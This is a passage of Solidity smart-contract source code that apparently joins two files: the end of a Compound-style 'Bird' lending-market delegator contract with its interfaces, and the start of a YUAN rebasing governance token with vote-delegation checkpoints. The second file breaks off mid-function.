bTokenBorrowed, address bTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint); function liquidateBorrowVerify(address bTokenBorrowed, address bTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external; function seizeAllowed(address bTokenCollateral, address bTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint); function seizeVerify(address bTokenCollateral, address bTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external; function transferAllowed(address bToken, address src, address dst, uint transferTokens) external returns (uint); function transferVerify(address bToken, address src, address dst, uint transferTokens) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens(address bTokenBorrowed, address bTokenCollateral, uint repayAmount) external view returns (uint, uint); } /** * @title Bird's InterestRateModel Interface */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); } /** * @title Bird's BToken Storage */ contract BTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.0005% / block) */ uint internal constant borrowRateMaxMantissa = 0.0005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-bToken operations */ BControllerInterface public bController; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first BTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; } /** * @title Bird's BToken Interface */ contract BTokenInterface is BTokenStorage { /** * @notice Indicator that this is a BToken contract (for inspection) */ bool public constant isBToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterestToken(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event MintToken(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event RedeemToken(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event BorrowToken(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrowToken(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrowToken(address liquidator, address borrower, uint repayAmount, address bTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when bController is changed */ event NewBController(BControllerInterface oldBController, BControllerInterface newBController); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketTokenInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewTokenReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /*** User Interface ***/ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) public view returns (uint); function exchangeRateCurrent() public returns (uint); function exchangeRateStored() public view returns (uint); function getCash() external view returns (uint); function accrueInterest() public returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint); function _acceptAdmin() external returns (uint); function _setBController(BControllerInterface newBController) public returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint); function _reduceReserves(uint reduceAmount) external returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint); } /** * @title Bird's BErc20 Storage */ contract BErc20Storage { /** * @notice Underlying asset for this BToken */ address public underlying; } /** * @title Bird's BErc20 Interface */ contract BErc20Interface is BErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, BTokenInterface bTokenCollateral) external returns (uint); /*** Admin Functions ***/ function _addReserves(uint addAmount) external returns (uint); } /** * @title Bird's BDelegation Storage */ contract BDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } /** * @title Bird's BDelegator Interface */ contract BDelegatorInterface is BDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } /** * @title Bird's BDelegate Interface */ contract BDelegateInterface is BDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; } /** * @title Bird's BErc20BATDelegator Contract * @notice BTokens which wrap an EIP-20 underlying and delegate to an implementation */ contract BErc20BATDelegator is BTokenInterface, BErc20Interface, BDelegatorInterface { /** * @notice Construct a new money market * @param underlying_ The address of the underlying asset * @param bController_ The address of the BController * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token * @param implementation_ The address of the implementation the contract delegates to * @param becomeImplementationData The encoded args for becomeImplementation */ constructor(address underlying_, BControllerInterface bController_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_, address implementation_, bytes memory becomeImplementationData) public { // Creator of the contract is admin during initialization admin = msg.sender; // First delegate gets to initialize the delegator (i.e. storage contract) delegateTo(implementation_, abi.encodeWithSignature("initialize(address,address,address,uint256,string,string,uint8)", underlying_, bController_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_)); // New implementations always get set via the settor (post-initialize) _setImplementation(implementation_, false, becomeImplementationData); // Set the proper admin now that initialization is done admin = admin_; } /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public { require(msg.sender == admin, "BErc20BATDelegator::_setImplementation: Caller must be admin"); if (allowResign) { delegateToImplementation(abi.encodeWithSignature("_resignImplementation()")); } address oldImplementation = implementation; implementation = implementation_; delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData)); emit NewImplementation(oldImplementation, implementation); } /** * @notice Sender supplies assets into the market and receives bTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external returns (uint) { mintAmount; // Shh delegateAndReturn(); } /** * @notice Sender redeems bTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of bTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { redeemTokens; // Shh delegateAndReturn(); } /** * @notice Sender redeems bTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { redeemAmount; // Shh delegateAndReturn(); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { borrowAmount; // Shh delegateAndReturn(); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external returns (uint) { repayAmount; // Shh delegateAndReturn(); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) { borrower; repayAmount; // Shh delegateAndReturn(); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this bToken to be liquidated * @param bTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, BTokenInterface bTokenCollateral) external returns (uint) { borrower; repayAmount; bTokenCollateral; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { dst; amount; // Shh delegateAndReturn(); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool) { src; dst; amount; // Shh delegateAndReturn(); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { spender; amount; // Shh delegateAndReturn(); } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint) { owner; spender; // Shh delegateToViewAndReturn(); } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint) { owner; // Shh delegateToViewAndReturn(); } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { owner; // Shh delegateAndReturn(); } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by bController to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { account; // Shh delegateToViewAndReturn(); } /** * @notice Returns the current per-block borrow interest rate for this bToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Returns the current per-block supply interest rate for this bToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external returns (uint) { delegateAndReturn(); } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external returns (uint) { account; // Shh delegateAndReturn(); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { account; // Shh delegateToViewAndReturn(); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public returns (uint) { delegateAndReturn(); } /** * @notice Calculates the exchange rate from the underlying to the BToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { delegateToViewAndReturn(); } /** * @notice Get cash balance of this bToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { delegateToViewAndReturn(); } /** * @notice Applies accrued interest to total borrows and reserves. * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { delegateAndReturn(); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another bToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed bToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of bTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint) { liquidator; borrower; seizeTokens; // Shh delegateAndReturn(); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { newPendingAdmin; // Shh delegateAndReturn(); } /** * @notice Sets a new bController for the market * @dev Admin function to set a new bController * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setBController(BControllerInterface newBController) public returns (uint) { newBController; // Shh delegateAndReturn(); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint) { newReserveFactorMantissa; // Shh delegateAndReturn(); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { delegateAndReturn(); } /** * @notice Accrues interest and adds reserves by transferring from admin * @param addAmount Amount of reserves to add * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external returns (uint) { addAmount; // Shh delegateAndReturn(); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external returns (uint) { reduceAmount; // Shh delegateAndReturn(); } /** * @notice Accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { newInterestRateModel; // Shh delegateAndReturn(); } /** * @notice Internal method to delegate execution to another contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param callee The contract to delegatecall * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateTo(address callee, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { return delegateTo(implementation, data); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } function delegateToViewAndReturn() private view returns (bytes memory) { (bool success, ) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", msg.data)); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(add(free_mem_ptr, 0x40), returndatasize) } } } function delegateAndReturn() private returns (bytes memory) { (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts */ function () external payable { require(msg.value == 0,"BErc20BATDelegator:fallback: cannot send value to fallback"); // delegate all other functions to current implementation delegateAndReturn(); } }
DC1
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.5.15; /* Copyright 2020 Compound Labs, Inc. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ contract YUANGovernanceStorage { /// @notice A record of each accounts delegate mapping(address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping(address => mapping(uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping(address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256( "EIP712Domain(string name,uint256 chainId,address verifyingContract)" ); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256( "Delegation(address delegatee,uint256 nonce,uint256 expiry)" ); /// @notice A record of states for signing / validating signatures mapping(address => uint256) public nonces; } // Storage for a YUAN token contract YUANTokenStorage { using SafeMath for uint256; /** * @dev Guard variable for re-entrancy checks. Not currently used */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Governor for this contract */ address public gov; /** * @notice Pending governance for this contract */ address public pendingGov; /** * @notice Approved rebaser for this contract */ address public rebaser; /** * @notice Approved migrator for this contract */ address public migrator; /** * @notice Incentivizer address of YUAN protocol */ address public incentivizer; /** * @notice Total supply of YUANs */ uint256 public totalSupply; /** * @notice Internal decimals used to handle scaling factor */ uint256 public constant internalDecimals = 10**24; /** * @notice Used for percentage maths */ uint256 public constant BASE = 10**18; /** * @notice Scaling factor that adjusts everyone's balances */ uint256 public yuansScalingFactor; mapping(address => uint256) internal _yuanBalances; mapping(address => mapping(address => uint256)) internal _allowedFragments; uint256 public initSupply; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; bytes32 public DOMAIN_SEPARATOR; } contract YUANTokenInterface is YUANTokenStorage, YUANGovernanceStorage { /// @notice An event thats emitted when an account changes its delegate event DelegateChanged( address indexed delegator, address indexed fromDelegate, address indexed toDelegate ); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged( address indexed delegate, uint256 previousBalance, uint256 newBalance ); /** * @notice Event emitted when tokens are rebased */ event Rebase( uint256 epoch, uint256 prevYuansScalingFactor, uint256 newYuansScalingFactor ); /*** Gov Events ***/ /** * @notice Event emitted when pendingGov is changed */ event NewPendingGov(address oldPendingGov, address newPendingGov); /** * @notice Event emitted when gov is changed */ event NewGov(address oldGov, address newGov); /** * @notice Sets the rebaser contract */ event NewRebaser(address oldRebaser, address newRebaser); /** * @notice Sets the migrator contract */ event NewMigrator(address oldMigrator, address newMigrator); /** * @notice Sets the incentivizer contract */ event NewIncentivizer(address oldIncentivizer, address newIncentivizer); /* - ERC20 Events - */ /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint256 amount); /** * @notice EIP20 Approval event */ event Approval( address indexed owner, address indexed spender, uint256 amount ); /* - Extra Events - */ /** * @notice Tokens minted event */ event Mint(address to, uint256 amount); // Public functions function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function balanceOf(address who) external view returns (uint256); function balanceOfUnderlying(address who) external view returns (uint256); function allowance(address owner_, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); function maxScalingFactor() external view returns (uint256); function yuanToFragment(uint256 yuan) external view returns (uint256); function fragmentToYuan(uint256 value) external view returns (uint256); /* - Governance Functions - */ function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256); function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external; function delegate(address delegatee) external; function delegates(address delegator) external view returns (address); function getCurrentVotes(address account) external view returns (uint256); /* - Permissioned/Governance functions - */ function mint(address to, uint256 amount) external returns (bool); function rebase( uint256 epoch, uint256 indexDelta, bool positive ) external returns (uint256); function _setRebaser(address rebaser_) external; function _setIncentivizer(address incentivizer_) external; function _setPendingGov(address pendingGov_) external; function _acceptGov() external; } contract YUANGovernanceToken is YUANTokenInterface { /// @notice An event thats emitted when an account changes its delegate event DelegateChanged( address indexed delegator, address indexed fromDelegate, address indexed toDelegate ); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged( address indexed delegate, uint256 previousBalance, uint256 newBalance ); /** * @notice Get delegatee for an address delegating * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 structHash = keccak256( abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry) ); bytes32 digest = keccak256( abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, structHash) ); address signatory = ecrecover(digest, v, r, s); require( signatory != address(0), "YUAN::delegateBySig: invalid signature" ); require( nonce == nonces[signatory]++, "YUAN::delegateBySig: invalid nonce" ); require(now <= expiry, "YUAN::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) { require( blockNumber < block.number, "YUAN::getPriorVotes: not yet determined" ); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = _yuanBalances[delegator]; // balance of underlying YUANs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates( address srcRep, address dstRep, uint256 amount ) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32( block.number, "YUAN::_writeCheckpoint: block number exceeds 32 bits" ); if ( nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber ) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint( blockNumber, newVotes ); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint256 n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint256) { uint256 chainId; assembly { 